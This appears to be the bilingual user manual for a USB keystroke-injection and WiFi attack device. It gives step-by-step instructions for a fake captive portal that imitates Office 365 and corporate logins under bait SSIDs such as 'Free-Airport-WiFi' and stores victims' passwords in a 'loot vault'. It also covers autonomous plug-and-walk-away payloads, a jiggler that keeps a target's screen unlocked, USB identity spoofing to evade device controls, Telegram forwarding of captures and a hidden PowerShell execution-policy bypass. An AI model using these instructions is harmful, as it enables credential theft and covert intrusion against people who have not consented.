AndroidNot detected — Android does not send the HID LED sync packet, and its timing differs too much to use the CapsLock method reliablyN/ANot supported

CAPTIVE PORTAL — WiFi QuickCreds

⚠ AUTHORIZED USE ONLY: Deploying a captive portal without explicit written permission is illegal. This feature is for authorized WiFi security audits, red team engagements, and educational lab environments only.

Transforms the HΛX•STIK into a test WiFi access point — broadcasts a custom SSID, hijacks DNS for all connected clients, and forces their browsers to a test login page. Captured credentials are silently written to the onboard loot vault.

HΛX•STIK-কে একটি টেস্ট WiFi অ্যাক্সেস পয়েন্টে রূপান্তরিত করে — কাস্টম SSID ব্রডকাস্ট করে, সংযুক্ত ডিভাইসের DNS হাইজ্যাক করে এবং তাদের ব্রাউজারকে টেস্ট লগইন পেজে পাঠায়। ক্যাপচার করা ক্রেডেনশিয়াল নীরবে অনবোর্ড loot vault-এ সংরক্ষিত হয়।

CAPTIVE PORTAL [WiFi QuickCreds]

▲ CAPTIVE ARMED — ATTACK LIVE
Broadcasting: Free-Airport-WiFi (OPEN)
Template: Office 365
Free-Airport-WiFi
SAVE SSID
Office 365 ▼

Multi-step test login
Email first → then password (mirrors real O365/Google flow)
ON

Auto-redirect after capture
https://google.com
SAVE PORTAL SETTINGS
⚠ CAPTIVE ACTIVE — Click to DISARM
ARM → reconnect to test SSID → navigate to /admin to control. Unplug = auto-disarm.

Available Test Login Templates

TemplatePortal StyleBest Deployment Scenario
Corporate WiFi (0)Generic corporate captive portal loginOffice buildings, coworking spaces
Corporate Email Portal (1)Enterprise email login portal styleCorporate network environments
Cloud Account Portal (2)Cloud account sign-in portal styleCloud-connected environments, universities
Social Login Portal (3)Social network login portal styleSocial engineering audits, public venues
Custom HTML (4)Whatever you design and uploadHighly targeted engagements — use %SSID% as a placeholder for the test network name

Multi-Step Test Login: When enabled, the portal collects the email address first on a first screen, then presents a second screen requesting the password — mirroring common enterprise login flows. Increases test subject engagement and completion rate significantly.

Multi-Step Test Login: চালু থাকলে, portal প্রথম স্ক্রিনে ইমেইল সংগ্রহ করে, তারপর দ্বিতীয় স্ক্রিনে password চায় — সাধারণ এন্টারপ্রাইজ লগইন flow অনুসরণ করে। টেস্ট ক্লায়েন্টের engagement ও সম্পন্ন হওয়ার হার উল্লেখযোগ্যভাবে বাড়ায়।

Auto-Redirect: After a connected client submits credentials, they are automatically redirected to a real website (e.g., the actual company site) after a configurable delay of 1–30 seconds. This provides a smooth user experience — the test subject believes the WiFi "just connected".

Auto-Redirect: Credential submit করার পর টেস্ট ক্লায়েন্টকে ১–৩০ সেকেন্ডের configurable বিলম্বে একটি আসল ওয়েবসাইটে (যেমন প্রকৃত কোম্পানির সাইট) স্বয়ংক্রিয়ভাবে পাঠানো হয়। স্বাভাবিক অভিজ্ঞতা নিশ্চিত হয় — টেস্ট ক্লায়েন্ট মনে করে WiFi "সংযুক্ত হয়ে গেছে"।

// HOW TO ARM AND OPERATE (STEP BY STEP):

  1. Enter test SSID — a contextually appropriate name matching the environment (e.g., Hotel_Guest_WiFi, Airport_Free_Net) → click SAVE SSID.
  2. Select template. Enable Multi-Step Test Login for corporate/cloud portals. Set Auto-Redirect URL to a legitimate site so connected clients have a smooth experience.
  3. Click ARM → confirm the dialog. The device restarts its AP as an open (no password) test network in ~250ms. Your operator dashboard session disconnects during this restart.
  4. Reconnect as operator: Join the test SSID from your phone (no password needed) → navigate to http://192.168.4.1/admin → log in. The full dashboard is accessible while the test runs.
  5. Review captured data: Authorized awareness-test submissions appear automatically in the Captured Data Manager. If Telegram Audit Forwarding is ON, each capture sends a real-time push notification to your phone.
  6. Disarm: Click the red CAPTIVE ACTIVE button → AP restores the original WPA2 network in ~250ms.

Platform Coverage — Captive Portal

PlatformBehavior When Client JoinsAuto-Detection?
WindowsWindows shows "Additional sign-in required" notification and opens the default browser to the test login pageYes — Windows captive portal detection triggers automatically
macOSmacOS opens a mini Safari window directly to the portal (Captive Network Assistant)Yes — triggers automatically on join
LinuxNetworkManager opens a browser on supported distros (GNOME, KDE)Partial — depends on distro and desktop
AndroidAndroid shows a "Sign in to network" notification that opens a browser overlay to the test login pageYes — Android captive portal detection triggers automatically
iOS (iPhone/iPad)iOS opens the Captive Network Assistant (mini browser) automatically on joinYes — triggers automatically on join

⚠ CAUTIONS: 2.4GHz only — any device that only supports 5GHz cannot connect to an ESP32-based AP. Portal survives soft reboots but auto-disarms when the device is physically unplugged. A connected client who already submitted credentials sees a "Connected" confirmation on return — not prompted again.

LOOT MANAGER — Captured Data Vault

LOOT MANAGER

3 entries  |  Last: 14:32:05
1× Captive Portal (Office365)   2× USB Serial
💰 VIEW CAPTURED LOOT
📄 EXPORT CSV
🗑 CLEAR ALL

LOOT MANAGER EXPLAINED: Your secure on-device vault. Two data sources feed it:

LOOT MANAGER ব্যাখ্যা: ডিভাইসের নিরাপদ ডেটা ভল্ট। দুটো উৎস থেকে ডেটা আসে:

  • Captive Portal captures: Every credential set submitted through the test login page — stored with username, password, client IP, and timestamp.
  • USB Serial payloads: Any data pushed by target-side scripts using the <<LOOT>>...<</LOOT>> marker protocol (see the Loot System section for full payload examples).

Duplicate username/password pairs are automatically removed. EXPORT CSV downloads a spreadsheet file with columns: Username, Password, IP, Time, Data. Captive portal entries fill Username/Password/IP/Time. USB serial entries fill the Data column. CLEAR ALL wipes the entire vault — this is irreversible.

Duplicate username/password জোড়া স্বয়ংক্রিয়ভাবে সরানো হয়। EXPORT CSV column সহ একটি spreadsheet ডাউনলোড করে: Username, Password, IP, Time, Data। Captive portal entry-তে Username/Password/IP/Time পূর্ণ থাকে। USB serial entry-তে Data column পূর্ণ থাকে। CLEAR ALL সম্পূর্ণ vault মুছে দেয় — এটি অপরিবর্তনীয়।

Platform Coverage — Loot Manager

PlatformVia Captive PortalVia USB Serial Payload
Windows✓ Full✓ Full (PowerShell COM port)
macOS✓ Full✓ Full (/dev/tty.usbmodem*)
Linux✓ Full✓ Full (/dev/ttyACM0 or /dev/ttyUSB0)
Android✓ Full✗ Not available (no CDC serial from scripts)
iOS✓ Full✗ Not available

BOOT CONFIGURATION — Autonomous Drop & Go

BOOT CONFIGURATION

Select Script to run automatically on Startup.
/wifi_grab.txt ▼
SET AS BOOT SCRIPT
CLEAR BOOT SCRIPT

Boot Delay (0–30 seconds before script runs):
3
SET BOOT DELAY

BOOT CONFIGURATION EXPLAINED: Makes the device fully autonomous — the true "drop & go" mode. When a boot script is configured, the stick executes it automatically the instant it is plugged into any USB port, without any phone, dashboard, or internet connection needed. Just plug it in and walk away.

BOOT CONFIGURATION ব্যাখ্যা: ডিভাইসটিকে সম্পূর্ণ স্বায়ত্তশাসিত করে — প্রকৃত "drop & go" মোড। Boot Script সেট করা থাকলে, যেকোনো USB পোর্টে প্লাগ করার সাথে সাথে স্টিক স্বয়ংক্রিয়ভাবে সেটি চালায় — কোনো ফোন, ড্যাশবোর্ড বা ইন্টারনেট ছাড়াই। শুধু প্লাগ করুন এবং চলে যান।

  1. Select a payload from the dropdown list → click SET AS BOOT SCRIPT. The chosen filename is saved to flash.
  2. Set Boot Delay to allow the host OS time to install HID drivers before injection begins. Range: 0–30 seconds. Click SET BOOT DELAY.
  3. Unplug and re-plug the device. After the delay, the script executes at full injection speed.
  4. To disable autonomous run: click CLEAR BOOT SCRIPT.

⚠ CAUTION: A delay of 0 seconds will fail on slow hardware. Minimum 2–3 seconds is recommended; 5–8 seconds for older machines or systems under load. Use OS_DETECT at the start of boot scripts for cross-platform payloads.

Platform Coverage — Boot Configuration

PlatformWorks?Recommended Boot DelayNotes
Windows✓ Full3–5 secondsHID driver installed automatically by Windows PnP
macOS✓ Full2–3 secondsmacOS trusts HID keyboard devices immediately
Linux✓ Full2–3 secondsudev assigns HID device quickly
Android (USB OTG)✓ Full3–5 secondsRequires USB OTG-capable Android device; HID keyboard input is supported on most Android 4.0+ devices

MOUSE JIGGLER — Prevent Screen Lock

MOUSE JIGGLER

JIGGLER: ACTIVE
Micro-movement every 60 seconds to prevent screen lock.

JIGGLER EXPLAINED: Prevents the target computer from going to sleep or locking its screen while you operate. When active, the stick moves the mouse cursor by 1 pixel in each direction every 60 seconds. The movement is imperceptible to a human observer but continuously resets the OS idle timer, keeping the session alive indefinitely.

JIGGLER ব্যাখ্যা: অপারেশনের সময় টার্গেট কম্পিউটারকে ঘুমিয়ে পড়া বা স্ক্রিন লক হওয়া থেকে বিরত রাখে। চালু থাকলে, স্টিক প্রতি ৬০ সেকেন্ডে মাউস কার্সারকে ১ পিক্সেল করে নাড়ায়। মানুষের চোখে অদৃশ্য এই নড়াচড়া OS-এর idle timer ক্রমাগত রিসেট করতে থাকে।

Without the jiggler, most corporate laptops lock after 5–10 minutes of inactivity. Enable it immediately on plug-in during any engagement that requires sustained access (keylogging sessions, long payloads, waiting for a user to return and type). You can also inject the one-shot MOUSE_JIGGLE DuckyScript command inside a payload for a single micro-movement at a specific point in the script.

Jiggler ছাড়া বেশিরভাগ কর্পোরেট ল্যাপটপ ৫–১০ মিনিটে লক হয়ে যায়। দীর্ঘ সেশনের জন্য (keylogging, লম্বা পেলোড, ব্যবহারকারীর ফেরার অপেক্ষা) প্লাগ করার সাথে সাথেই চালু করুন। পেলোডের ভেতরে নির্দিষ্ট পয়েন্টে এক-বার নড়ানোর জন্য MOUSE_JIGGLE DuckyScript কমান্ডও ব্যবহার করা যায়।

Platform Coverage — Mouse Jiggler

PlatformWorks?Effect
Windows✓ FullResets Windows idle timer — prevents lock screen and screensaver
macOS✓ FullPrevents macOS display sleep and password-lock
Linux✓ FullPrevents GNOME/KDE screensaver and screen blanking
Android (USB OTG)✓ FullMouse movement events keep the Android display awake and prevent auto-lock

SETTINGS TAB — CONFIGURATION

All persistent configuration lives in the SETTINGS tab. Changes here survive reboots. This covers WiFi AP credentials, dashboard login, injection speed, USB identity spoofing, internet WiFi (STA), Telegram bot tokens, firmware updates, and factory reset. Boot script configuration has moved to the TOOLS tab → Boot Configuration card.

সকল স্থায়ী কনফিগারেশন SETTINGS ট্যাবে থাকে। এখানকার পরিবর্তন রিবুটের পরেও টিকে থাকে। এতে রয়েছে: WiFi AP ক্রেডেনশিয়াল, ড্যাশবোর্ড লগইন, injection speed, USB identity spoofing, ইন্টারনেট WiFi (STA), Telegram bot token, firmware আপডেট এবং factory reset। Boot Script কনফিগারেশন TOOLS ট্যাব → Boot Configuration কার্ডে সরানো হয়েছে।

STORAGE STATUS

14%
USED
160 KB
USED
965 KB
FREE

1. STORAGE STATUS

The device has 1.125MB of SPIFFS flash memory shared between: OS system files, your DuckyScript payload .txt files, custom captive portal HTML templates, and the loot.txt credentials vault. Monitor this donut chart and clear the loot vault or delete unused payloads if space runs low. A full SPIFFS will cause save failures.

ডিভাইসে ১.১২৫MB SPIFFS ফ্ল্যাশ মেমোরি রয়েছে — OS system file, DuckyScript payload .txt ফাইল, custom captive portal HTML template এবং loot.txt ভল্ট সব একসাথে শেয়ার করে। Donut chart দেখে স্টোরেজ পর্যবেক্ষণ করুন এবং স্থান কমে গেলে loot vault পরিষ্কার করুন বা অব্যবহৃত payload মুছে ফেলুন। SPIFFS পূর্ণ হলে save ব্যর্থ হবে।

WIFI CONFIGURATION

New SSID Name
New Password (min 8 chars)
SAVE WIFI SETTINGS

STEALTH MODE Hides SSID · requires reboot
TOGGLE HIDDEN WIFI

2. WIFI CONFIGURATION + STEALTH MODE

Change the operator AP name from the default HAXSTIK_OS to something less conspicuous: HP_Printer_5G, MeetingRoom_TV, or Xerox_Office. Password must be at least 8 characters. Changes take effect after a reboot (the confirm dialog will prompt you).

ডিফল্ট HAXSTIK_OS থেকে operator AP নাম কম সন্দেহজনক কিছুতে পরিবর্তন করুন: যেমন HP_Printer_5G, MeetingRoom_TV, বা Xerox_Office। Password কমপক্ষে 8 অক্ষরের হতে হবে। পরিবর্তন রিবুটের পরে কার্যকর হয় (confirm dialog আসবে)।

HIDDEN SSID MODE: Hides the operator AP SSID from network scan lists on nearby devices. To connect when hidden: go to your phone's WiFi settings → Add Network → type the exact SSID manually → enter the password. Toggling this mode triggers an automatic reboot.

HIDDEN SSID MODE: কাছাকাছি ডিভাইসের WiFi scan তালিকা থেকে operator AP SSID লুকিয়ে রাখে। লুকানো অবস্থায় সংযুক্ত হতে: ফোনের WiFi Settings → Add Network → SSID হাতে টাইপ করুন → password দিন। এই mode toggle করলে স্বয়ংক্রিয় reboot হয়।

ACCESS CONTROL

New Username
New Password
UPDATE CREDENTIALS

3. ACCESS CONTROL

Changes the web dashboard login credentials (username + password). Change these immediately on first use. If you share your WiFi password with someone, they will also have access to the dashboard unless you have a strong unique login. Credential changes take effect instantly — no reboot required. Warning: There is no "forgot password" function. Forgetting the new credentials requires a full factory format.

ওয়েব ড্যাশবোর্ডের লগইন ক্রেডেনশিয়াল (username + password) পরিবর্তন করে। প্রথম ব্যবহারেই এটি পরিবর্তন করুন। WiFi password কারো সাথে শেয়ার করলে তারাও ড্যাশবোর্ডে ঢুকতে পারবে যদি না আপনার login শক্তিশালী হয়। পরিবর্তন সাথে সাথে কার্যকর — reboot লাগে না। সতর্কতা: "forgot password" ফিচার নেই। নতুন credentials ভুলে গেলে full factory format ছাড়া উপায় নেই।

GLOBAL INJECTION SPEED

Fast (30ms — Default) ▼
SET INJECT SPEED

4. GLOBAL INJECTION SPEED

The inter-key delay applied to all STRING commands. Modern computers handle 10ms (Insane speed) perfectly. Older hardware — particularly laptops over 7 years old, or systems under heavy load — may drop characters if the speed is too high. If your payloads type with missing letters, increase this to 50ms or 100ms. This setting can be overridden per-payload using the STRING_DELAY command.

সব STRING কমান্ডে প্রতিটি কী-স্ট্রোকের মাঝে যে বিরতি দেওয়া হয়। আধুনিক কম্পিউটার 10ms (Insane speed) নির্বিঘ্নে সামলাতে পারে। পুরনো হার্ডওয়্যার — বিশেষত ৭ বছরের বেশি পুরনো ল্যাপটপ বা ভারী লোডের সিস্টেম — দ্রুত গতিতে অক্ষর বাদ দিতে পারে। Payload-এ অক্ষর বাদ পড়লে এটি 50ms বা 100ms-এ বাড়ান। প্রতিটি payload-এ STRING_DELAY কমান্ড দিয়ে এই সেটিং override করা যায়।

OptionBest For
Insane (10ms)Modern PCs, VMs, maximum speed testing
Fast (30ms) — DefaultMost targets — recommended starting point
Normal (50ms)Older laptops, busy systems
Slow (100ms)Very old hardware or systems under heavy CPU load
Very Slow (500ms)Debugging — visually readable injection speed

DUCKYSCRIPT V3 ENGINE

STATUS: ENABLED  |  VAR / IF / WHILE / $RANDOM_INT active
DISABLE V3

5. DUCKYSCRIPT V3 ENGINE

Enables the advanced logic preprocessor: variables, IF/ELSE, WHILE loops, random numbers, and OS-detection. Enabled by default. All v1 payloads continue to work unchanged. Only disable V3 if: your PowerShell payloads contain $ symbols that the V3 engine misreads as variable references. To use literal $ inside a V3 payload without disabling the engine, prefix it with a backslash: \$. See the DuckyScript V3 section for full details.

উন্নত logic preprocessor চালু করে: variable, IF/ELSE, WHILE loop, random number এবং OS-detection। ডিফল্টে চালু থাকে। সব v1 payload অপরিবর্তিত কাজ করে। V3 শুধু তখনই বন্ধ করুন যদি: আপনার PowerShell payload-এ $ চিহ্ন থাকে যেটিকে V3 engine ভুল করে variable ভাবে। Engine বন্ধ না করে literal $ ব্যবহার করতে backslash দিয়ে escape করুন: \$। বিস্তারিত DuckyScript V3 সেকশনে দেখুন।

USB IDENTITY

VID: 0x046D   PID: 0xC31C
MFR: Logitech
PROD: USB Keyboard
Apple Magic Keyboard ▼
APPLY & REBOOT

6. USB IDENTITY (SPOOFER)

Changes the USB Vendor ID (VID), Product ID (PID), manufacturer, and product name that the device reports to the host computer. This allows the device to operate within standard USB peripheral profiles, letting authorized auditors assess how endpoint USB whitelisting and device control policies respond to trusted hardware identities during a controlled engagement.

ডিভাইস হোস্ট কম্পিউটারকে যে USB Vendor ID (VID), Product ID (PID), manufacturer এবং product name রিপোর্ট করে তা পরিবর্তন করে। এটি ডিভাইসকে standard USB peripheral profile-এর মধ্যে পরিচালনা করতে দেয়, যা authorized auditor-দের নিয়ন্ত্রিত engagement-এ endpoint USB whitelisting ও device control policy মূল্যায়ন করতে সাহায্য করে।

Applying a new identity requires a reboot. After the reboot, the device will re-enumerate on the target computer's USB bus with the new identity.

নতুন identity প্রয়োগ করতে reboot লাগে। Reboot-এর পর ডিভাইস নতুন identity নিয়ে target-এর USB bus-এ নিজেকে আবার নিবন্ধন করবে।

ProfileBest Use Case
Logitech USB Keyboard (default)General purpose — trusted on most systems
Dell KB216Dell corporate environments
HP Elite USBHP enterprise environments
Apple Magic KeyboardmacOS environments
Razer OrnataGaming / creative studios
Microsoft Wired 600Microsoft-heavy environments

NETWORK SETTINGS (Internet WiFi)

● WiFi: Connected to HomeNetwork_2G
IP: 192.168.1.105
SCAN NEARBY
MANUAL ENTRY
⚠ AP will drop for ~3 seconds during scan — reconnect to HAXSTIK_OS after.

7. NETWORK SETTINGS — Internet WiFi (STA)

⚠ CONFIGURE THIS FIRST — Network Settings must be saved and connected before Telegram Audit Forwarding or OTA updates will function. Both features depend on an active internet STA link. Always set this up before trying to use either of those features.

The device has no SIM card. To use Telegram Audit Forwarding or download OTA firmware updates, it must connect to an internet WiFi network as a client (STA mode). This runs simultaneously with the operator AP — AP+STA dual mode.

ডিভাইসে কোনো SIM কার্ড নেই। Telegram Exfil বা OTA firmware update ব্যবহার করতে হলে এটিকে ইন্টারনেট WiFi নেটওয়ার্কে client হিসেবে (STA mode) সংযুক্ত করতে হবে। এটি operator AP-এর পাশাপাশি একইসাথে চলে — AP+STA dual mode

SCAN NEARBY: Scans 2.4GHz networks. AP drops for ~3 seconds then restores. Tap a result, enter the password, click SAVE & CONNECT.
MANUAL ENTRY: For hidden SSIDs or crowded environments — type the SSID and password directly.

SCAN NEARBY: 2.4GHz নেটওয়ার্ক স্ক্যান করে। AP ~৩ সেকেন্ড বন্ধ থাকে তারপর পুনরায় চালু হয়। ফলাফল ট্যাপ করুন, password দিন, SAVE & CONNECT ক্লিক করুন।
MANUAL ENTRY: লুকানো SSID বা ভিড়ের পরিবেশে — SSID এবং password সরাসরি টাইপ করুন।

⚠ 2.4GHz ONLY: The ESP32-S3 hardware supports 2.4GHz only. 5GHz networks are invisible. If using a phone hotspot, set it to 2.4GHz band explicitly. STA does not auto-reconnect after a drop — re-enter credentials if it disconnects.

TELEGRAM SETTINGS

✓ Bot configured — Chat ID: 123456789
Token: 12345678:ABCdef... (paste new to update)
123456789
SAVE
TEST PING

8. TELEGRAM BOT SETTINGS

⚠ PREREQUISITE: You must configure and connect Network Settings (item #7 above) before saving Telegram credentials will be useful. Without an active internet STA connection, TEST PING will fail. Full setup order: Network Settings first → Telegram Settings second → Tools → Telegram Audit Forwarding toggle ON third.

One-time bot configuration. Once saved, the bot token and Chat ID persist across reboots.

একবারের bot কনফিগারেশন। সেভ করলে bot token এবং Chat ID reboot-এর পরেও থাকে।

  1. Open Telegram → search @BotFather → send /newbot → follow the prompts → copy the API Token (format: 123456789:ABCdef...).
  2. Search @userinfobot → send any message → it replies with your Chat ID (a numeric string).
  3. Paste the Bot Token into the Token field, Chat ID into the Chat ID field → click SAVE.
  4. Ensure internet WiFi is connected (Network Settings) → click TEST PING. You should receive "HAXSTIK ONLINE" in your Telegram chat within a few seconds.

Arming/disarming live Telegram forwarding is done from Tools → Telegram Audit Forwarding. This Settings card only stores the bot credentials and does not activate forwarding by itself.

Telegram forwarding চালু/বন্ধ করা হয় Tools → Telegram Exfil থেকে। এই Settings কার্ড শুধু bot credentials সংরক্ষণ করে — নিজে থেকে forwarding চালু করে না।

FIRMWARE UPDATE (OTA)

CHIP ID: A3B4C1D2E5F6
VERSION: v1.0.0
Update available: v1.1.0
DOWNLOAD

9. FIRMWARE UPDATE — Over-The-Air (OTA)

⚠ PREREQUISITE: You MUST connect the device to an internet-accessible 2.4GHz WiFi first via Settings → Network Settings (#7). Without an active internet STA link, CHECK FOR UPDATE will fail immediately. Connect to internet first, then come back to this card.

Update the OS wirelessly in under 2 minutes. No computer, USB cable, or programmer required.

২ মিনিটের মধ্যে বেতারভাবে OS আপডেট করুন। কোনো কম্পিউটার, USB কেবল বা programmer লাগে না।

  1. CHECK FOR UPDATE: After internet WiFi is connected → click CHECK FOR UPDATE. The device sends its Chip ID and current version to the HAXBD OTA server. If up to date: shows Your device is up to date. If a newer firmware version exists: the button changes to DOWNLOAD.
  2. DOWNLOAD: Click DOWNLOAD. Progress bar shows percentage. New firmware is written to the backup partition — your current OS continues running.
  3. UPDATE AND REBOOT: Click UPDATE AND REBOOT. ESP32 switches boot partition to new firmware and reboots. New OS is live within 10 seconds.

ℹ Staged Firmware: If the device loses power after DOWNLOAD but before UPDATE AND REBOOT, the downloaded firmware is not lost. On next boot the OS detects it and shows the UPDATE AND REBOOT button immediately.

DANGER ZONE

FORMAT DISK (FACTORY RESET)

10. DANGER ZONE — FORMAT DISK

Executes a low-level format of the entire SPIFFS partition. This permanently and irrecoverably wipes: every DuckyScript payload, all captured loot data, your custom WiFi name and password, your login credentials, captive portal templates, Telegram tokens, and all settings. The device returns to factory defaults and reboots. Use this as an emergency forensic wipe if you believe the hardware has been compromised.

সম্পূর্ণ SPIFFS partition-এর low-level format চালায়। এটি স্থায়ীভাবে এবং পুনরুদ্ধারের অযোগ্যভাবে মুছে ফেলে: সকল DuckyScript payload, সব captured loot ডেটা, custom WiFi নাম ও password, login credentials, captive portal template, Telegram token এবং সব সেটিং। ডিভাইস factory default-এ ফিরে যায় এবং reboot হয়। হার্ডওয়্যার compromise হয়েছে বলে মনে হলে emergency forensic wipe হিসেবে ব্যবহার করুন।

HOW TO CREATE A PAYLOAD — SYNTAX REFERENCE

The HΛXSTIK OS executes standard DuckyScript. Instructions are read line by line and processed sequentially. Each line contains one command.

HΛXSTIK OS স্ট্যান্ডার্ড DuckyScript চালায়। নির্দেশনা লাইন-বাই-লাইন পড়া হয় এবং পর্যায়ক্রমে প্রক্রিয়া করা হয়। প্রতিটি লাইনে একটি কমান্ড থাকে।

⚠ The Golden Rule: Always Use DELAY

The stick injects keystrokes at over 1,000 WPM. If you command it to open a menu and immediately type text, the keystrokes will arrive before the window has rendered — and be lost. Always add a DELAY after every action that opens a window, menu, or dialog.

স্টিক ১,০০০ WPM-এর বেশি গতিতে keystroke inject করে। কোনো মেনু খোলার সাথে সাথে টেক্সট টাইপ করার নির্দেশ দিলে window render হওয়ার আগেই keystroke চলে আসবে — এবং হারিয়ে যাবে। প্রতিটি window, menu বা dialog খোলার পরে সবসময় DELAY যোগ করুন।

GUI r
DELAY 500 // Wait 0.5s for Run dialog to appear
STRING powershell
ENTER
DELAY 1200 // Wait 1.2s for PowerShell window to load

OS-Specific Execution Strategies

Windows — Run Dialog Method

The most reliable Windows execution path. The Run dialog (GUI r) always opens even on locked Taskbars, Group Policy restricted desktops, and kiosk mode systems.

Windows-এর সবচেয়ে নির্ভরযোগ্য execution পথ। Run dialog (GUI r) locked Taskbar, Group Policy restricted desktop এবং kiosk mode সিস্টেমেও সবসময় খোলে।

REM Open Run dialog
GUI r
DELAY 500
REM Launch hidden PowerShell
STRING powershell -NoP -WindowStyle Hidden -Exec Bypass -Command "Write-Host 'OK'"
ENTER

macOS — Spotlight Method

REM Open Spotlight (GUI = Command key on Mac)
GUI SPACE
DELAY 600
STRING terminal
ENTER
DELAY 1200
STRING echo "Mac payload executed"
ENTER

Linux — Terminal Hotkey Method

REM Universal Linux terminal shortcut (Ubuntu, Kali, Mint)
CTRL ALT t
DELAY 1000
STRING echo "Linux payload executed"
ENTER

Android — USB OTG Keystroke Injection

When the HAXSTIK is plugged into an Android device via a USB OTG adapter, it registers as a HID keyboard. Payloads can control the Android UI — open apps, navigate, type — the same as on a desktop. The DROID tab in Payload Studio provides quick-insert buttons for the most common Android key mappings.

HAXSTIK যখন USB OTG adapter-এর মাধ্যমে Android ডিভাইসে প্লাগ করা হয়, তখন এটি HID keyboard হিসেবে নিবন্ধিত হয়। Payload Android UI নিয়ন্ত্রণ করতে পারে — app খুলতে, navigate করতে, টাইপ করতে — ডেস্কটপের মতোই। Payload Studio-র DROID ট্যাবে সবচেয়ে প্রচলিত Android key mapping-এর জন্য quick-insert বাটন রয়েছে।

Requirements: Android device must support USB OTG (most Android 4.0+ phones do). Physical OTG adapter required (USB-A male to USB-C or micro-USB female). Some Android versions show a "USB device connected" notification — this is normal and expected.

Example — Open browser and navigate to a URL:

REM Wake the screen and go Home first
GUI ENTER
DELAY 800
REM Open default browser
GUI b
DELAY 1500
REM Tap address bar and navigate (browser must be focused)
CTRL l
DELAY 400
STRING https://example.com
ENTER

Example — Open Settings app via the search shortcut:

REM Go home, then open the app drawer / search
GUI ENTER
DELAY 600
REM Most Android launchers: swipe-up = search (use keyboard shortcut)
CTRL SPACE
DELAY 600
STRING Settings
DELAY 500
ENTER
DELAY 1000
REM Navigate with arrow keys if needed
DOWNARROW
ENTER

Example — Type a message into any focused text field:

REM Assumes a chat app or text field is already open and focused
GUI ENTER
DELAY 500
STRING Hello from HAXSTIK
ENTER

⚠ ANDROID NOTES: GUI ENTER = Home button. ESC = Back button. GUI b = opens default browser. GUI c = opens Contacts. These mappings follow the USB HID Consumer Page standard that Android implements. Not all Android launchers respond the same way — test on the target device model before deployment. Screen must be unlocked for injection to work.

▶ Cross-Platform OS Detection Payload

Use the built-in OS_DETECT command (with DuckyScript V3) to write a single payload that handles all operating systems automatically:

বিল্ট-ইন OS_DETECT কমান্ড (DuckyScript V3 সহ) ব্যবহার করে একটি মাত্র payload লিখুন যা স্বয়ংক্রিয়ভাবে সব অপারেটিং সিস্টেম সামলাবে:

REM Detect the target OS first
OS_DETECT
DELAY 300

IF $_OS == Windows THEN
  GUI r
  DELAY 500
  STRING cmd
  ENTER
ELSE
  REM macOS or Linux
  GUI SPACE
  DELAY 500
  STRING terminal
  ENTER
END_IF

Complete Command Dictionary

Core Commands

COMMANDEXPLANATION
REM [text]Comment line. Ignored by the engine. Use for readability.
Ex: REM Opens Command Prompt
DELAY [ms]Pauses execution for the specified milliseconds. 1000 = 1 second.
DEFAULTDELAY [ms]
DEFAULT_DELAY [ms]
Sets a pause that is automatically applied after every subsequent command. Useful for slow target machines. Set to 0 to disable.
STRING [text]Types the exact text at the configured inject speed. Handles all printable ASCII characters.
STRING_DELAY [ms]Overrides the global injection speed for all subsequent STRING commands in this payload. Range: 0–500ms.
STRING_ALT [text]Types text using Windows Alt+Numpad codes. Works on any keyboard layout (US, German, French, Turkish, etc.) regardless of language settings on the target. Requires: NumLock ON. Windows only.
Ex: STRING_ALT @#$
NUMLOCK_FORCE
NUMLOCK_ON
Toggles NumLock on the target keyboard. Run this once before using STRING_ALT if you are unsure whether NumLock is currently on. If NumLock is off, STRING_ALT will produce wrong characters.
REPEAT [n]Repeats the immediately preceding command n times. Works with STRING, ENTER, TAB, etc.
Ex: ENTER / REPEAT 3 (presses Enter 3 more times)
OS_DETECTSilently detects the host OS (Windows / Linux / Mac) and stores the result in the built-in $_OS variable. Use with IF/ELSE for cross-platform payloads.

STRING_ALT — Non-English Keyboard Layout Bypass (Full Example)

When the target machine is set to a non-English keyboard layout (German QWERTZ, French AZERTY, Turkish F, Arabic, etc.), STRING sends raw keycodes and produces wrong characters. For example: typing STRING @ on a German keyboard types q instead. STRING_ALT solves this by using Windows Alt+Numpad ASCII codes — these are layout-independent and always produce the correct character regardless of what layout Windows is set to.

REM Scenario: Target has a German keyboard layout. We need to type a
REM PowerShell command containing $, @, and \ which are wrong on German layout.

REM Step 1: Open Run dialog (GUI r works on any layout)
GUI r
DELAY 500
REM Step 2: Type "powershell" — letters are same on German layout
STRING powershell
ENTER
DELAY 1200
REM Step 3: Ensure NumLock is ON before using STRING_ALT
NUMLOCK_FORCE
DELAY 200
REM Step 4: Use STRING_ALT for the part with special chars ($, @, \)
REM This types correctly on ANY Windows keyboard layout
STRING_ALT $env:USERNAME + "@" + $env:USERDOMAIN
ENTER
DELAY 500
REM Step 5: Back to normal STRING for regular alphanumeric output
STRING exit
ENTER

⚠ STRING_ALT RULES:
1. Windows only — does not work on macOS or Linux (those OSes do not implement Alt+Numpad ASCII input).
2. NumLock must be ON — always run NUMLOCK_FORCE before your first STRING_ALT. If NumLock is off, the numpad keys produce arrow/navigation actions instead of digits, and you get garbage output.
3. Use STRING for letters — only switch to STRING_ALT for the characters that are layout-dependent (symbols, brackets, special chars). Pure letters A–Z and digits 0–9 are the same on all Latin-based layouts and can use regular STRING.
4. Slower than STRING — each character sends multiple keystrokes (Alt + 3 numpad digits). Add extra DELAY after STRING_ALT blocks on slow machines.

Modifier Keys

COMMANDEXPLANATION
GUI [key]
WINDOWS [key]
Presses the Windows/Command key, optionally combined with another key.
Ex: GUI r (Run) · GUI d (Desktop) · GUI SPACE (Mac Spotlight) · GUI l (Lock screen)
CTRL [key]
CONTROL [key]
Hold Ctrl and press a key. Supports multi-modifier: CTRL SHIFT [key] and CTRL ALT [key].
Ex: CTRL c · CTRL ALT t · CTRL SHIFT ESC
ALT [key]Hold Alt and press a key. Supports F1–F12, TAB, SPACE, ESC, DELETE.
Ex: ALT F4 · ALT TAB · ALT F2
SHIFT [key]Hold Shift and press a key.
Ex: SHIFT TAB · SHIFT F10
CTRL-ESCControl+Escape (opens Start Menu on Windows as an alternative to GUI key).

Action Keys

COMMANDEXPLANATION
ENTER / RETURNSimulates the Enter/Return key.
SPACESimulates the Spacebar.
TABSimulates the Tab key.
ESC / ESCAPESimulates the Escape key.
BACKSPACE / BSDeletes the previous character.
DELETE / DELSimulates the Delete key (forward delete).
INSERTToggles Insert/Overwrite mode.
UPARROW / UPUp Arrow.
DOWNARROW / DOWNDown Arrow.
LEFTARROW / LEFTLeft Arrow.
RIGHTARROW / RIGHTRight Arrow.
